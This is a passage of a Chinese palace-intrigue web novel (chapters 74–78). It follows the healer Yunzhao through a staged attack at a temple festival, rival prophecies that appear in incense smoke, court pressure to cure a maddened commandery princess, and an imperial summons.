“这两日身子不爽利,未能出门,却听闻了不少姜姑娘的妙手仁心。”宋白玉声音轻柔似春风,自袖中取出一枚素白拜帖。
那拜帖纸质细腻,无色无味,瞧不出任何不妥。
“三日后恰逢家母寿辰,想请姑娘过府一叙。有些疑难,还想向姑娘请教。”
云昭接过拜帖,指尖触及的刹那,忽然注意到宋白玉腕间一抹极淡的胭脂痣,宛如雪地里落下的红梅。
就在这看似融洽的时刻,一道人影突然从人群中冲出,直扑宋白玉而来!
“**!我要你偿命!”那人口齿不清地嘶吼着,状若疯魔。
宋白玉惊慌之下猛地拽住云昭衣袖,尖声呼道:“姜姑娘救命——!”
“刺啦——!”
云昭毫不犹豫地向旁闪避,衣袖应声撕裂!
她顺势跌坐,就地一滚,佯装被宋白玉的力道带得摔倒,闪开一小段距离,抬眸朝来人望去——
来人竟是本该昏迷不醒的南华郡主陆倩波!
此刻的她披头散发,口角流涎,双眼翻白,整个人呈现一种癫狂之态。
而她手中明晃晃的短刀,正朝着宋白玉心口狠狠扎去!
第74章 我是不是毁容了?!
千钧一发之际,云昭的指尖已触到袖中机关,只需轻轻一扣,萧启临别所赠的袖箭便会破空而出——
不过三步之距,取一个神志不清的南华郡主的性命,简直易如反掌!
然而就在这电光火石的刹那,一股寒意突然沿着她的脊背窜起。
宋白玉的故意示好与临时凑近,南华郡主的骤然苏醒和出现……不对劲!
指尖在距离机关半寸处骤然停住!
就在这瞬息之间,眼看就要被利刃刺中的宋白玉突然脚下一软,整个人如同断线的纸鸢向后仰倒。
“啊——!”女眷们的尖叫声撕裂了佛诞日原本的庄严宁静。
香炉被撞翻,经幡剧烈晃动,方才还井然有序的场面瞬间乱作一团。
被宋白玉带倒的南华郡主手中刀刃疯狂挥舞,寒光在日光下划出凌乱的弧线,在众人尚未看清的瞬间——
“我的脸——!”一声凄厉至极的惨叫从人群中迸发。
只见身着大红蹙金衣裙的少女捂着脸跌坐在地,鲜红的血液从她指缝间汩汩涌出。
是姜绾心!
而此前行径癫狂的南华郡主则面朝下趴伏在地,肩胛骨处赫然插着一支白羽箭,箭尾还在微微颤动。
“倩波!”太子手中长弓尚未完全放下,搭箭的手指仍保持着方才的姿势。
他眉眼间的锐利一闪而过,随即被恰到好处的焦急所取代:“速传太医!”
他快步奔上前,将南华郡主扶起抱在怀中。
“倩波!我的儿啊——!”安王妃的嚎啕声从不远处传来。
她远远望见南华郡主背心中箭、趴伏在地的惨状,当即双腿一软,险些瘫倒在地。
全凭身后嬷嬷死死搀扶才勉强站稳,跌跌撞撞地朝女儿奔来。
随行的宫女急忙围观的众人解释:“郡主方才突然从厢房消失,王妃急得四处寻找,谁知竟会……”
长公主敏锐地蹙起眉:“郡主不是一直昏迷不醒?怎会突然出现在此?”
搀扶着安王妃的嬷嬷面露难色,压低声音道:“殿下明鉴,本来郡主确实一直昏睡不醒。
但王妃昨日从一位游方道士处求来一道新符,今早给郡主服下符水后,郡主就忽然睁眼了,还一切恢复如常,要求吃喝。
我们王妃当时高兴坏了!谁知一个错眼的功夫,她竟突然跑了……”
安王妃几乎是连滚带爬地扑上石阶,平日里的雍容华贵荡然无存。
她颤抖着扶住太子怀里的南华郡主,见箭伤只在肩胛,并未伤及心肺,刚要松一口气,却见女儿脸颊上有一道极深的擦伤,皮肉外翻。
更可怕的是她双眼翻白,口涎顺着下巴直流,浑身抽搐如同疯癫。
“倩波,我的儿啊!是为娘糊涂,是为娘害了你啊!”她突然像是想起什么,猛地抬头四顾。
待待寻见静立一旁的云昭,这位向来眼高于顶的王妃,竟在众目睽睽之下挣脱了嬷嬷的搀扶,朝着云昭的方向重重跪倒!
“砰——”额头撞在青石板上发出沉闷的声响。
“姜小姐!先前是倩波不懂事,是我教女无方!”
她抬起布满泪痕的脸,额间已渗出血丝,“千错万错都是我们母女的错!求求你大**量,发发慈悲救救倩波吧!”
因前两日寺中风波被刻意封锁,在场不少勋贵官眷尚不知内情。
眼见堂堂安王妃竟不顾体统,对一个未出阁的少女行此大礼,又见南华郡主这般惨状,不由交头接耳,各种探究、怀疑的目光如针尖般刺向云昭。
而陪在安王妃身旁,抱着南华郡主的太子,也目光深沉地望着云昭:“姜大小姐既通晓岐黄之术,想必知晓郡主此刻危殆。”
他容色温润,眼神却带着不容置喙的威仪,“安王妃爱女心切,还望姑娘体恤这份慈母心肠,施以援手。”
与此同时,苏氏和梅柔卿也已冲上前来。
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梅柔卿急切地扶住捂脸痛哭的姜绾心,声音发颤:“心儿、心儿!让我看一看!让我看一看你的脸!”
“娘!我的脸好疼,我是不是毁容了?!”姜绾心哭得撕心裂肺。
一旁的苏氏脸色瞬间难看至极。
虽然早知这不是自己的女儿,但听到姜绾心不管不顾对着梅柔卿喊娘,哪怕明知在旁人眼中她和梅柔卿都在近前,不一定会多想,苏氏心里仍像吞了只苍蝇般恶心。
她皱着眉劝道:“先松开手。殿下已派人去请御医了。伤势到底如何,总要让大夫看过才知道。”
云昭正要开口,女眷中又响起一声惊呼:“宋姐姐,你的手臂!”
众人循声望去,只见宋白玉捂着左臂,指缝间不断有鲜血渗出,染红了她绣牡丹纹的淡金色衣袖。
饶是脸色苍白如纸,她仍强撑着对云昭柔声道:“我这点伤不碍事的,还请姜大姑娘先为郡主和心儿妹妹诊治。”
安王妃像是抓住救命稻草般连连点头:“姜小姐!求求你,现在只有你能救倩波了!”
苏氏看着这一个个都来纠缠女儿,心中警铃大作——
这三人,南华郡主是个沾不得的烫手山芋;宋白玉贵为宰相之女,自小金尊玉贵;姜绾心更是包藏祸心,指不定和梅柔卿安排了什么陷阱等着她的昭儿!
苏氏侧眸看向云昭,忽然灵机一动,惊呼道:“昭儿,你的手怎么了?”她命道,“还愣着做什么?还不快扶小姐起来!”
云昭微微一怔,随即会意。
在莺时上前搀扶的瞬间,她藏在袖中的手指飞快捏碎了一枚药丸。
起身后,她缓缓掀开右袖,只见手腕处已肿得老高,皮肤泛着不自然的青紫色。
四下顿时鸦雀无声,唯有安王妃粗重的喘息声。
这位素日雍容的王妃踉跄跌坐在地,珠钗乱颤,双目失神地喃喃:“完了…全完了。我的倩波……”
第75章 命批显灵了!
太子蹙眉道:“孤听闻姜大小姐医术玄术皆有所长。即便手腕不便,或可口述方子,先保住郡主性命要紧。”
他目光扫过众人,声音渐沉,“西北战事吃紧,安王率众将士浴血奋战。若是让他得知唯一的女儿性命垂危,而京中竟无人施救……”
这话如一块巨石投入平静湖面,四周顿时响起窃窃私语。
“殿下所虑极是,若让忠臣因此寒心……”
“既有真本事,就别藏着掖着了!见死不救岂是医者本分?”
候在稍远地方的贵妃闻讯赶来,见此情形当即道:“都别在这围着了。速寻间清净厢房,让姜小姐安心诊治。”
她的目光掠过姜绾心那道从下巴蜿蜒至耳根的伤口——
虽未深及肌理,位置却险峻异常,再偏半寸便是容颜尽毁。
贵妃觑了一眼太子的神色,又道:“姜大小姐,心儿终究是你血脉相连的妹妹。若有什么养颜秘方,此刻便该拿出来。眼下人命关天,那些小姑娘家的意气之争,也该放下了。”
柔妃则嗔道:“御医是干什么吃的?还不快来诊治!我倒是不信,太医署的圣手,竟比不过一个未出阁的姑娘家?”
一直未曾开口的长公主面沉如水,身侧的闻空大师垂眸合十。二人显然已悄然交涉过什么。
“移驾偏殿,先行安置。”长公主下了命令。
佛诞盛典,竟生此祸端。
更棘手的是,涉事之人非尊即贵,偏还在万千百姓眼前上演这出闹剧——
今日之后,皇家的脸面该往何处搁?
就在这满庭惶然之际,云昭清越的嗓音如碎玉破冰:
“义母,王妃娘娘,欲救郡主性命,无论昭儿能否看出端倪,亦不论后续由谁施救,当务之急是弄清郡主吞服的那道符。”
这话如一道惊雷劈开迷雾,安王妃如梦初醒,连忙命心腹迅速折回:“那符水还剩了小半碗,就放在妆台!速去取来!”
长公主眸光一凛,当即扬声道:“侍卫统领何在?派一队亲兵随行护卫,务必确保符水万无一失。”
她说话时,目光如秋风扫过众人,将每一张面孔上的神色尽收眼底。
云昭语毕,目光缓缓刮过捂着脸啜泣的姜绾心,眉心紧蹙的梅柔卿,最终落在始终端庄自持的宋白玉身上。
恰在此时,宋白玉也抬起眼帘。
但见她眉目澄澈如秋水,举止娴雅合度,面上凝着恰到好处的忧色,以绢帕轻掩伤处的指尖微颤,俨然是个养尊处优却强撑体面的贵女。
“姜大小姐莫要太过忧心。”宋白玉朝云昭勉强一笑,声音温柔得体,“我自幼肌肤容易留疤,随身带着家传的雪肌凝玉膏,待御医验过后若合用,不妨先给心儿妹妹用着。”
这般重伤仍顾念他人的气度,顿时引得四周赞叹低语。
“宋小姐真乃闺阁典范,不愧相府嫡女。”
“对比之下,尚书府这位二姑娘,作态确实小家子气了。”
云昭移开视线,跟在众人之后往偏殿走去。
心头却微微一动:不对。
当时的情形,若她当真射出那枚袖箭,取了南华郡主的性命,宋白玉和姜绾心确实未必会受伤。
但她当众弑杀郡主的罪名将无可辩驳——
等待她的,除了牢狱之灾,还有整个安王府不死不休的报复!
可她当时反应及时没有下手,造成的结果便是如今这样。
南华郡主行事疯癫,此生姻缘前程尽毁;姜绾心险遭破相之祸;而宋白玉手臂伤口虽深,位置却并不紧要。
这一局实在高明,她与南华郡主、姜绾心,皆成局中棋子。
这精心布局的幕后之人,会是宋白玉吗?还是说,她也不过是局中一枚故意被推到前面的棋子?
就在众人簇拥着伤者,乱哄哄地正要移步偏殿之时,始终静立在香炉旁的闻空大师忽然抬袖,一道无形的清风自他袖间拂过,轻轻卷起鼎中香灰。
“诸位且看。”
他声音不高,却如古刹晨
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钟,清晰地叩在每个人心上。
众人闻声回首——
只见那鼎中云昭与姜绾心先后插入的香,此刻竟已双双燃至尽头,一点猩红明灭不定,香灰将落未落,悬若凝泪。
更奇的是,最后一缕青烟袅袅盘旋而上,在空中凝而不散,渐渐汇聚成一行苍劲古篆:
“凤隐九霄,火中取莲。”
八字悬浮半空,在日光下流转着淡金微芒,宛若天启。
“是命批!命批显灵了!”李灼灼第一个失声惊呼。
全场霎时寂然。
所有人都被这神异一幕所慑,连安王妃都忘了哭泣,怔怔地望着浮在半空中的八字箴言。
太子眸色骤深,紧盯着“凤隐九霄”四字,负在身后的指节无声收紧,玉扳指深深硌入掌心。
四下已响起细碎私语,如风过竹梢,窃窃不绝:
“这命批……瞧着怎么不太对劲?”
“凤凰既出,为何隐于九霄?火中取莲,岂非步步惊心?”
姜绾心正对上梅柔卿递来的那道眼风,心尖一颤,当即款款上前,柔柔一福:“恭喜姐姐得此天命。”
她眉眼低垂,神情恭顺,唇边却掠过一丝几不可察的得意。
——亏得娘亲此前还百般筹谋,要在关键时刻调换二人批命箴言。
如今可好,连天都助她,这道玄乎其玄的箴言,正好落在云昭头上!
真正该属于她的,是那句光华璀璨的——
“凤鸟栖金阙,梧桐映紫微。星辉耀东宫,天命启祥瑞!”
她早已将母亲从闻空大师处悄悄得来的那句箴言,背得滚瓜烂熟,字字刻入骨血,夜半梦回时都要在唇齿间细细咀嚼。
这般光明璀璨、祥瑞天成的命格,才配得上她姜绾心!
她心中正自窃喜,却见半空中那行金字忽如池漾微澜,竟又浮现第二道箴言:
“朱雀栖金阙,梧桐待日升。”
姜绾心蓦地一怔,心头倏然一紧——
怎会是朱雀?不该是凤鸟吗?
第76章 云昭这只凤凰,与东宫无缘了?
长公主凝眸片刻,缓声开口:“天意幽微,玄机难测,还请大师为我等解惑。”
闻空大师双掌合十,声如清泉漱石:“阿弥陀佛。天意昭昭,命格自成。
凤隐于霄,自在逍遥;火中取莲,浴火重生。此命不在凡俗,不囿宫阙,当自在随心,另辟乾坤。”
一旁的姜绾心闻言,悄悄舒出一口气,袖中紧攥的指尖不由一松。
“不囿宫阙”……这不就是明明白白地说,云昭这只凤凰,与东宫无缘了?
那她还拿什么跟自己争太子妃之位?
回想起云昭刚回府那日,还曾当着全家的面,那般信誓旦旦地说与太子的姻缘本该属于她……
如今看来,岂非成了天大的笑话?
姜绾心几乎要掩不住唇角的弧度。
云昭闻言,却是眉眼舒展,唇角扬起一抹清浅却真切的笑痕,朝闻空大师郑重敛衽一礼:“云昭,谢大师批命。此命——我甚心喜。”
她语声清亮,如珠玉落盘,在一片低声议论中格外分明。
闻空大师亦朝她轻轻颔首。
一旁的长公主目露赞许之意。
柔妃则用绢帕轻掩唇角,微垂的眼帘下,闪过一抹复杂难辨的欣羡。
唯有苏氏目露忧色,目光在云昭和姜绾心之间来回逡巡。
女儿不愿与皇室有所牵扯,自是好事。可若真让姜绾心遂愿成了太子妃,以她的心性,日后岂能容得下昭儿?
不远处的太子眸光一暗,指腹无意识重重摩挲着拇指上那枚温润的羊脂玉扳指。
凤凰虽贵,竟不恋红尘权位,不慕宫阙荣华么?
……可惜,着实可惜。
闻空大师目光转向第二行字,继续道:“朱雀栖金阙,乃近贵辅君之象;梧桐待日升,是宜静候时机、涵养德性之意。
若能持心守正,待云开日出,自有晖光普照,福泽绵长。”
他语声平和,却字字如锤,分明是在提点姜绾心:若安分守己,终有一日,能等来云开日出。
否则,前方唯有长夜难明,永堕晦暗!
柔妃眼波微转,唇角勾起一抹似笑非笑的弧度,如春水漾起微澜。
老和尚打的机锋太过隐晦,恐怕今日在场之人,除了云昭,没几个能参透个中深意。
朱雀栖金阙,听着光鲜,不就是一只被圈养在金笼子里的雀儿?
梧桐待日升,说真的,太子这根朽木若想等来日升,不正该死死抱紧云昭这条金大腿?
昭,明也,日升之意。老和尚这不都说得明明白白了!
她抬起眼,朝不远处的太子望去。
果然见太子的目光已牢牢凝在姜绾心身上,神色幽深浓稠,仿佛在审视一件终于确认归属的珍宝——
云昭如凤,振翅凌霄,难以掌控;
而姜绾心,恰似朱雀,栖于金阙,待日而升。
这不正暗合他这东宫储君如日方升之势?她的命途,分明已与他的前程紧紧相连。
那高人果然没有说错!
姜绾心敏锐地捕捉到太子那深沉的目光,顿时面染霞色,羞涩地微垂下脸,心中狂喜如浪潮翻涌。
娘亲,爹爹,心儿做到了!心儿终于做到了!
太子殿下的目光似一道暖流注入心田,让她心如鹿撞,脉跳如鼓——
她几乎确信,用不了多久,东宫便会请旨赐婚。
梅柔卿也瞧见太子的眼神,心中难掩欢喜!
她望向女儿的目光中满是欣慰与柔情,仿佛已见她将来荣宠加身、风光无限。
然而,当她的目光不经意间触及贵妃时,却猛地一怔。
贵妃的眼神复杂得令人心惊,似有嫉妒不甘,又似有某种难以言喻的隐痛,绝不该是一位乐见其成的表姐该有的神情。
梅柔卿心口猛地一咯噔。
贵妃……她为何会如此?
今日心儿这身华服和金冠皆是贵妃亲赐,而贵妃又是太子表姐,于情于理,都该对这桩姻缘应当乐见其成才对。
可她方才那个眼神……不容她深想,贵妃脸上已迅速挂起无可挑剔的欣慰笑意,仿佛方才那一眼,只是她的错觉。
众人再度移步,往偏殿行去。
姜绾心只觉得步履轻盈,如踏云端。
人群中窃窃私语却愈发清晰:
“今日这两道命批,细品起来,怎么都透着一股子玄乎?一个是真凤凰却偏要隐遁,一个身在金阙却只是朱雀……”
“那句‘梧桐待日升’,也好生晦涩。”
李灼灼听着周遭议论,忍不住扬声道:“诸位莫非忘了昨日清晨的七彩祥云,还有方才萦绕不去的那道凤影了?那可是凤凰,并非朱雀!”
众女眷纷纷点头,彼此交换着眼色。
这般看来,姜家二小姐这命批,确是处处透着古怪。
姜绾心眸中闪过一抹慌乱之色,不由求助地朝梅柔卿看去。
人多眼杂,梅柔卿不便多言,只递去一个安抚的眼神。
倒是一旁的宋白玉忽而浅笑盈盈,目光似不经意地扫过云昭,轻声道:“诸位不觉得,‘梧桐待日升’此句,细细想来,颇有意思么?”
见众人目光汇集过来,她方才莞尔,语调轻柔如风拂柳梢:
“《说文》有云,‘昭,日明也’。日升天明,是为昭。我平日读书爱记些随笔,方才突然想起来,
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随口一提,让诸位姊妹见笑了。”
她话音方落,姜绾心陡然色变,指尖猛地掐入掌心,连呼吸都窒住了半分。
众女眷一时议论纷纷,目光在云昭与姜绾心这对姊妹之间来回逡巡。
云昭隔着几步之遥,与宋白玉视线相撞。
对方依旧笑得温婉得体,眉眼弯弯,宛若一幅精心描绘的工笔美人图。
这一次,云昭清晰地感知到了从那娴雅姿态下渗透而出的、毫不掩饰的恶意。
说话间,众人已相继步入偏殿。
殿内烛火通明,南华郡主被安置在软榻之上,面色青白,唇瓣干裂。两位御医诊治片刻,彼此交换一个凝重的眼神。
其中一位须发花白的老御医上前一步,躬身回禀:“郡主此乃痰迷心窍,邪风入体,以致神昏谵妄,四肢厥冷。
若依臣等浅见,需先用安宫牛黄丸豁痰开窍,再以羚角钩藤汤平肝熄风,佐以针灸……
只是,即便悉心调养,也非三五日可见成效,少则需静养数月,或许方有转机。”
他话音未落,先前赶回去取符水的嬷嬷已去而复返,发髻微乱,步履仓皇,身旁紧跟着长公主派去的亲兵侍卫。
长公主与太子的目光瞬间落在她身上。
只见那嬷嬷“扑通”一声跪倒在地,脸色煞白如纸,声音抖得不成样子:
“启、启禀两位殿下……那符水、那符水被不知从何处窜出的野猫儿打翻了!就在奴婢眼前!
那畜生动作快得邪门,撞翻了碗就窜得无影无踪……”
她语无伦次,显是惊魂未定。
一旁的亲兵统领单膝跪地,手捧用手帕包裹的碎瓷片:“属下等护卫不力,赶到时只见此物,请殿下恕罪!”
安王妃捂着心口:“怎会如此巧!”
她倏地侧眸,求助般地看向太子,“殿下,此事必有蹊跷!说不定……说不定那野猫就是有人蓄意为之,要毁去证据,断我倩波生路啊!”
太子眉宇深蹙,沉吟片刻,方沉声道:“王妃暂且冷静。当务之急,是先请姜大小姐帮忙辨一辨瓷片上的残留,看能否熏出端倪,救郡主性命。”
安王妃连连点头,目光渴求地看向云昭。
谁知紧接着,太子又道:“安王叔镇守边关,劳苦功高。若郡主此番真有个万一,孤也必定会代表皇家,给安王府一个应有的交代。”
此言一出,满殿皆惊!
不仅云昭心头微诧,就连一旁的姜绾心亦是浑身一颤,脚下踉跄,险些站立不稳。
他这是何意?
难道……他为了安抚手握重兵的安王,竟要真娶了南华郡主不成?
第77章 陛下要降罪于云昭?
安王妃低泣出声,身形摇摇欲坠:“殿下……”
太子顺势扶住她欲跪的身形,声线温润如春水:“安王妃不必多礼,郡主吉人天相,或许不日便能痊愈。凡事总要往好处想。”
在他俯身搀扶的刹那,云昭敏锐地捕捉到他唇瓣几不可察地嚅动,在安王妃耳畔留下了一句极轻的低语。
安王妃眼中霎时泪光盈动,嘴唇颤抖着说不出完整的话来。
这一番姿态落在众人眼中,满室公卿贵妇,彼此悄然交换着眼色,尽是心照不宣的惊疑——
太子此举,实在出乎意料。
长公主端坐上首,面沉似水,指间茶盏轻轻一顿,盏中清茗漾开细微涟漪。
柔妃唇边虽噙着浅笑,可那笑意凝在唇角,未达眼底,反透出几分凉意。
就连素来与太子亲厚的孟贵妃,此刻也神色沉凝,眸中情绪如云遮雾绕,晦暗难辨。
梅柔卿更是死死攥紧袖口,指节发白,几乎要将那上好云锦布料掐出洞来。
好一个太子殿下!
方才还因那批命箴言对她女儿暗送秋波,转眼便对安王妃许以重诺!
虽明知心儿若嫁入东宫,免不了要与其他女子分宠,但谁能料到这位太子殿下竟如此心急!
这还未登基,就急着为自己未来铺路,扩充东宫势力了!
偏偏太子与姜绾心的婚事尚未订下,此时,众人投向姜绾心的目光已悄然转变——
先前那些羡慕与嫉妒渐渐消散,取而代之的是毫不掩饰的玩味与怜悯,仿佛在观赏一出即将上演的好戏。
恰在此时,姜绾心发出一声细弱的痛呼,如莺啼初咽,引得众人纷纷侧目。
只见太医正小心翼翼地为她处理脸侧那道细长伤口。
姜绾心眼圈泛红,贝齿轻咬着下唇,那强忍泪水却偏又泫然欲泣的模样,格外惹人怜惜。
太子见状,温声吩咐:“章太医,务必用上最好的药材,仔细着些。”
姜绾心缓缓抬首,眼波流转间含着一缕幽怨,似嗔似哀地睇了太子一眼。
不远处的宋白玉正由另一位太医清理臂上伤痕,一面从容吩咐身侧丫鬟:“将我那盒雪肌凝玉膏取来,请太医验看后,再给心儿妹妹用一些。”
太医双手接过那白玉小盒,挑少许膏体置于手背细察,片刻后眼中露出赞叹之色:“此膏乃是以南海珍珠、天山雪莲并百年琥珀髓精心炼制。
其中尤以琥珀髓最为难得,有化瘀生肌、平复疤痕之奇效,实乃伤科圣药。”
他一边说,一边为宋白玉臂上敷了薄薄一层。
宋白玉浅笑莞尔:“家中尚有余存,这盒便赠予妹妹,望妹妹早日康复。”
姜绾心有些心不在焉地接过,眉眼间恹恹之色未褪,只低声道了句:“多谢宋姐姐厚意。”
云昭正欲收回目光,却见太子已缓步朝自己走来。
“姜大小姐,”太子姿态谦和,语气温润如玉,目光专注地凝在云昭面上,“孤观这碎瓷片上尚沾有些许残留粉末,不知可否派上用场?”
云昭拈起一片碎瓷,置于鼻尖轻嗅片刻,方道:“气味浅淡,似是寻常解咒所用的黄符。”
安王妃急切追问:“你的意思是,这符纸本身并无不妥?”
云昭神色淡然,不卑不亢:“殿下、王妃娘娘明鉴,民女并非万能。这碎瓷之上残粉甚微,若要立时道出个中玄机,未免有些强人所难。”
安王妃却步步紧逼:“既说是解咒符,那倩波服下为何会那般癫狂?她方才那般模样,究竟是何缘故?”
显然,有了太子先前那番承诺作倚仗,安王妃的态度已恢复了一贯的强势。
云昭默然未语。
安王妃愈发焦躁:“到底能不能治,你倒是给句准话!”
“王妃此言未免有失偏颇。”姜绾心忽而柔声开口,语带委屈,
“是王妃不听阿姊先前劝诫,擅自求了旁人的符咒,这才累得我与宋姐姐无辜受伤。如今又非要逼着阿姊立时治好郡主……”
她说着,眼风若有似无地扫过太子,声调愈发轻柔:“安王妃这般,未免太过仗势欺人了。”
安王妃勃然变色:“倩波她不是故意的!当时她神智昏乱,连自己做什么都不知晓,怎会是蓄意伤人!”
她目光扫过姜绾心,语气愈发冷硬,“况且你二人伤势终究不算重,倩波肩头那支羽箭深可见骨,比你们严重何止十倍!”
此言一出,满殿皆寂。
不仅姜绾心垂首低泣,连素来温婉的宋白玉也别开视线,面色微冷。
安王妃竟上前欲拉扯云昭:“你且过来仔细瞧瞧……”
云昭后退一步,适时露出那截红肿未消的手腕:“当日是郡主故意装晕、当众诋毁我医术在先,大肆辱骂、对我母亲不敬在后。
我曾言明,若郡主醒来肯向我母亲叩首致歉,我愿出手一试,解她身上桃花煞。
然事后探查方知,郡主竟是自愿将青丝赠与施咒之人,且咒术已满七七四十九日。我纵有心相帮,也已无力回天。”
她目光清凌凌扫过众人,声调渐扬:“今日王妃当众再三相逼,公道如何自在人心。难道我尚书府的人,便活该被一而再、再而三地欺辱践踏?”
这一番话将当日原委尽数道出,在场勋贵官眷们顿时议论纷纷:
“桃花咒?莫非就是近日京兆府张贴告示,让持有两种异符者速速上交的那个?想不到南华郡主竟也涉足此等邪术!”
“郡主平日里性子骄纵也就罢了,竟还主动将发丝赠予他人?当真胆大包天!”
“说起来,我记得从前南华郡主对秦王殿下最是倾心……”
此言一出,众人落在太子身上的神色顿时微妙起来。
一个年纪极轻的男子这时忽而轻笑开口:“说起来,今日这般热闹,怎不见王兄到场?”
此人正是淳王,也是当今圣上年纪最小的儿子。
太子蹙了蹙眉,并未接话。
安王妃耳听着众人对女儿议论纷纷,却不改猖狂,挺直脊背厉声道:
“我听闻姜大小姐得陛下亲赐凤阕令!诸位可知,这凤阕令意味着什么?”
她环视四周,一字一句道:“上一个得此令的女子,乃我大晋开国皇帝亲封的钦天监正,后更成为开国帝后,与帝王并肩而立!
此后百年间,获此殊荣者不超过十人,无一不是身
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负绝学、本领通天之辈,且最终皆位至钦天监最高主官!”
安王妃死死盯住云昭,语带威胁:“姜云昭!你既得陛下看重,却对医治倩波一再推搪,实在无礼!
若今日不治好倩波,我便立时入宫面圣,告你一个恃才傲物、见死不救的大不敬之罪!”
云昭的目光越过她,落在其身后的太子身上。
方才太子搀扶安王妃起身时,二人似有短暂耳语——
现在她知道,太子当时究竟都说了什么。
否则以安王妃这般急躁短视之人,若无旁人指点,绝想不到以此为由头来拿捏她。
太子亦正凝视着云昭,眸中深意流转:“姜大小姐既有真才实学,何不放手施为?
即便手腕不便,亦可口述方略。这两位御医皆是施针国手,想必能辅佐大小姐救治郡主。”
迎着太子眼中那片晦暗难明的幽深,云昭心底不由泛起冷笑。
好一个精于算计的储君!
真当姜绾心已是他囊中之物,南华郡主也可收作棋局一子,至于她这只不肯栖于宫阙的“凤凰”,正好借此良机折断羽翼,彻底碾落尘泥?
难怪不论前世还是今生,他都一心纳姜绾心为太子妃。
这两人,一个自大狠绝,一个阴险凉薄,还真是天造地设的绝配!
“安王妃既有此意,”云昭神色平静,声如玉石相叩,“云昭愿随王妃一同入宫,面圣陈情。”
“你——!”
安王妃万没料到,云昭竟和当日一样寸步不让,这般硬气!她胸口剧烈起伏,震怒之下连指尖都在发颤。
恰在此时,殿外忽然传来内侍悠长的唱喏:“陛下有旨——宣姜氏云昭,即刻入宫觐见!”
但见一名身着绛紫宫袍的太监稳步进殿,目光如电扫过全场,接着扬声道:
“陛下口谕:南华郡主之事,朕已知晓。安王妃不必过忧,太医院自当倾力诊治郡主。
至于外界所谓咒术之说,实属无稽之谈,诸位臣工切莫以讹传讹,徒增纷扰。”
在场众人皆躬身道:“谨遵陛下教诲。”
“臣妇……叩谢陛下圣恩。”
安王妃勉强维持着仪态,朝着皇宫方向微微一福,侧眸看向云昭时,眼底却闪过一丝难以掩饰的焦灼。
这姜云昭一把硬骨头,宁折不弯,着实可恨!
陛下在这个节骨眼上召她进宫,想来是听闻了碧云寺的种种风波,免不了一顿申饬。
可她此时听了并不觉得解气,反而心头惶然。
若云昭此去被陛下责罚,或是就此被拘在宫中,那倩波的病,又该指望何人?
安王妃内心如沸水翻腾,一时懊悔不已。
方才实在不该听了太子的劝解,与云昭这般硬碰硬!如今骑虎难下,女儿的性命反倒悬于一线……
太子将安王妃的焦虑尽收眼底,转而面向云昭,语气温醇:“姜大小姐,莫忘了孤昔日劝诫。年少才高是好事,然自视过高,刚极易折啊!”
太子这番话落在众人耳中,再结合陛下这突如其来的宣召,顿时坐实了猜测——
陛下此时宣召,想必已得知近日碧云寺种种,定是要降罪于云昭!
第78章 求陛下赐婚
刹那间,殿内诸般目光如织,或忧切、或怜悯、或快意的视线尽数汇聚在云昭身上。
姜绾心以帕掩唇,细声软语道:“阿姊此番入宫,可要好生回话……”
那语调中的幸灾乐祸,藏都藏不住。
梅柔卿更是眉目舒展,与姜绾心交换一个心照不宣的眼神,唇角笑意若隐若现。
宋白玉却凝眸注视着云昭,纤指轻抚臂上伤处,眸中闪过一丝深意。
长公主蓦然起身,衣袂如云:“本宫随你同去。”
那传旨太监却躬身拦道:“殿下留步。陛下有旨,此间诸事还需长公主坐镇处置。
他转而面向贵妃与柔妃,声音恭谨:“陛下另有口谕:请贵妃娘娘、柔妃娘娘即刻回宫,不得延误。”
贵妃下意识地瞥向太子,眼底闪过一丝不甘,却只得柔顺应声:“臣妾遵旨。”
柔妃将贵妃那一瞥尽收眼底,眸中锐光一闪,随即莞尔轻笑:“臣妾原还想多陪长公主说说话呢!既然如此,便先行回宫了。”
语罢,她眼风似无意般扫过太子,笑意愈发深邃。
苏氏再按捺不住,疾步上前握住云昭的手,指尖冰凉:“昭儿……”
云昭反手轻轻握住母亲,语气沉静如深潭:“母亲安心回府等候,女儿去去便回。”
她又转向莺时、雪信与严嬷嬷,眸光清亮:“好生陪伴夫人。”
"是。"三人齐声应下,神色肃穆。
周遭众人难掩唏嘘:
“可怜见的……这一去,怕是凶多吉少了。”
“在这个节骨眼上被陛下召见,怕是难以全身而退了。”
李灼灼紧攥佩在腰间的短剑,英国公夫人眉头深锁,承义侯夫人亦面露焦灼——
这些与云昭交好之人皆忧形于色。
就连素来胆小的康乐伯夫人也与友人相视摇头,目露不忍。
在众人或同情、或嘲讽、或担忧的目光中,云昭神色未变,只从容理了理衣袖,随着内侍稳步向外行去。
*
御苑莲池畔,垂柳拂水,碧波粼粼。
皇帝端坐青玉案前,手持钓竿气定神闲。一旁的萧启斜倚在紫竹榻上,凤眸半阖,似是睡着了。
“不是说那小医仙一手金针了得,治好了你的头疼?”皇帝瞥了他一眼,皱眉道,“怎的瞧着还是这般没精神。”
萧启懒懒抬眸:“南下一趟累得慌,施针也中断了。”
皇帝眼底掠过一丝促狭:“你求朕赐婚,莫不是为了日后随时能将这姜云昭带在身边,好让她给你扎针?”
萧启无视这番调侃,端起手边霁蓝釉茶盏轻啜一口,淡声道:“是看她长得还比较顺眼。”
“难得听你肯夸一句女子容貌。”皇帝稀奇地挑眉,沉吟片刻,“模样是生得不错,就是那双眼太过桀骜,瞧着脾气不大好。”
“何止不好,”萧启漫不经心地把玩着茶盖,“稍一生气就动鞭子。”
皇帝朗声大笑:“此事朕已听太子说了。他和朕一样,喜欢脾气娇柔的女子。”
萧启眸光微动:“陛下既已看过批命,就该知道,太子不会选她。”
池面涟漪轻荡,皇帝沉默良久,忽然轻叹:“渊儿,你说朕是不是老了?”
萧启侧眸,理所当然地一挑眉:“是人都会老。跟我比,陛下确实年纪不小了。但作为皇帝,您这个岁数正是春秋鼎盛。何须言老?”
“自你父亲当年去世,”皇帝目光悠远,“天下悠悠之口,说朕什么的都有。就连皇姐都与朕渐行渐远,朕也不想过多解释。
这些年来,朕如何待你的,你心中自有一杆秤。渊儿,你是皇兄唯一的孩子,朕盼着你能好。”
见萧启不语,他又道:“安王行军打仗,虽远不如你的天资,但胜在沉稳。
当年把你从西北撤下来,朕心里其实松了口气。朕真是怕……你若出了意外,待朕哪日去到九泉之下,没脸跟皇兄和皇嫂交代。”
萧启淡淡道:“安王虽然有些好大喜功,但打仗也称得上有勇有谋,陛下无需担心。”
皇帝正要开口,忽见内侍引着一人近前。来人一身灰布常服,貌不惊人,正是皇帝身边密探统领,名唤顾影。
“如何了?”皇帝放下钓竿。
